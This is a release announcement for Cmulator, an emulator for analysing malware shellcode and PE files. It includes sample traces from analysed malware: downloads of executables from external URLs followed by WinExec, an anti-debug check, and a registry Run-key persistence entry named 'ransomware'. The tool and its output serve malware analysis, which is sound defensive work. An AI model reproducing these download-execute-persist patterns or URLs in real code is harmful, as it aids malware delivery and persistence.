Cmulator v0.2 Beta releases: Scriptable x86 RE Sandbox Emulator

Cmulator – Scriptable x86 RE Sandbox Emulator

Cmulator is ( x86 – x64 ) Scriptable Reverse Engineering Sandbox Emulator for shellcode and PE binaries Based on Unicorn & Capstone Engine & javascript.

Supported Architectures:

  • i386
  • x86-64

Supported File Formats

  • PE, PE+
  • shellcodes

Current Features

  • Simulated GDT & Segments.
  • Simulated TEB & PEB structures for both Shellcodes and PE.
  • Simulated LDR Table & Data.
  • Manages Image and Stack memory.
  • Evaluates functions based on DLL exports.
  • Trace all Executed API ( good for Obfuscated PE).
  • Displays HexDump with Strings based on referenced memory locations.
  • Patching the Memory.
  • Custome API hooks using Javascript (scripting).
  • Handle SEH (still, need more work).
  • [+] Hook Address.

Example Output :

AntiDebug Downloader

Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 01:51:51
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"AntiDebugDownloader.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : AntiDebugDownloader.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000004000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : AntiDebugDownloader.exe
[*] Import 3 Dlls

[+] Fix IAT for : kernel32.dll

[+] Fix IAT for : urlmon.dll

[+] Fix IAT for : advapi32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 52 Libraries ...

[>] Run AntiDebugDownloader.exe

0x401005 : IsDebuggerPresent = 0
GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows' 
0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0)
0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144
0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260)
0x40107a : RegCloseKey()
ExitProcess(0x0)

26 Branches - Executed in 9 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

x64 Down & Exec ShellCode

Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc64.exe" is : x64
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc64.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc64.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc64.exe

LoadLibraryA('urlmon') = 0x70714000
GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10
0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880)
SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2)
WinExec('C:\\Users\\Public\\p.exe', 0)
FatalExit(0x0)

95 Steps - Executed in 295 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

x32 Down & Exec ShellCode

Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"sc32.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : sc32.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers  : 0000000000000400
[*] Size Of Image    : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : sc32.exe
[*] Import 0 Dlls

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 25 Libraries ...

[>] Run sc32.exe

GetProcAddress(0x70300000,'LoadLibraryA') = 0x703149D7
LoadLibraryA('urlmon.dll') = 0x7065a000
GetProcAddress(0x7065A000,'URLDownloadToFileA') = 0x706F08D0
GetProcAddress(0x70300000,'WinExec') = 0x70392C21
0x40113b : URLDownloadToFileA(0, 'https://rstforums.com/fisiere/dead.exe', 'dead.exe', 0, 0)
WinExec('dead.exe', 1)

3041 Steps - Executed in 415 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

Show SEH handling (PELock Obfuscator)

Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe -ex

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 1, data value = 0x0
0x403031 Exception caught SEH 0x25FEEC - Handler 0x409215
ZwContinue -> Context = 0x25F97C
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x4056EC Exception caught SEH 0x25FEE8 - Handler 0x402516
ZwContinue -> Context = 0x25F978
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x401974 Exception caught SEH 0x25FEE4 - Handler 0x4019CE
ZwContinue -> Context = 0x25F974
MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x403A49 Exception caught SEH 0x25FEF4 - Handler 0x40A17B
ZwContinue -> Context = 0x25F984
EXCEPTION_ACCESS_VIOLATION READ_UNMAPPED : addr 0x0, data size = 4, data value = 0x0
0x40AD64 Exception caught SEH 0x25FEF4 - Handler 0x40B461
ZwContinue -> Context = 0x25F984
ExitProcess(0x0)

7387 Steps - Executed in 118 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

Hide SEH handling (PELock Obfuscator)

Coldzer0 @ OSX $./Cmulator -f ../../samples/obfuscated/obfuscated.exe 

Cmulator Malware Analyzer - By Coldzer0

Compiled on      : 2018/09/29 - 03:07:11
Target CPU       : i386 & x86_x64
Unicorn Engine   : v1.0 
Cmulator         : v0.1

"obfuscated.exe" is : x32
Mapping the File ..

[+] Unicorn Init done  .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn

[---------------- PE Info --------------]
[*] File Name        : obfuscated.exe
[*] Image Base       : 0000000000400000
[*] Address Of Entry : 000000000000A4BD
[*] Size Of Headers  : 0000000000001000
[*] Size Of Image    : 000000000000F000
[---------------------------------------]

[---------------------------------------]
[            Fixing PE Imports          ]

[*] File Name  : obfuscated.exe
[*] Import 2 Dlls

[+] Fix IAT for : KERNEL32.dll

[+] Fix IAT for : USER32.dll

[---------------------------------------]

[+] Segments & (TIB - PEB) Init Done .

[+] Loading JS Main Script : ../API.JS

Initiating 44 Libraries ...

[>] Run obfuscated.exe

MessageBoxA(0, 'Hello world', 'Visit us at www.pelock.com', 64)
ExitProcess(0x0)

7387 Steps - Executed in 116 ms

Cmulator Stop >> last Error : OK (UC_ERR_OK)



Press Enter to Close ¯\_(ツ)_/¯

Changelog v0.2 beta

[+] Add Address Hook
[+] Implementing Api schema forworder
[+] Change disassembler from Capstone to Zydis Engine
[√] improvements for SEH handling
[√] improvements with JS to API handle
[√] Improve API detection by address or name or ordinal

Install

Copyright (C) 2018 Coldzer0

Anastasis Vasileiadis

PC Technical || Penetration Tester || Ethical Hacker || Cyber Security Expert || Cyber Security Analyst || Information Security Researcher || Malware analyst || Malware Investigator || Reverse Engineering

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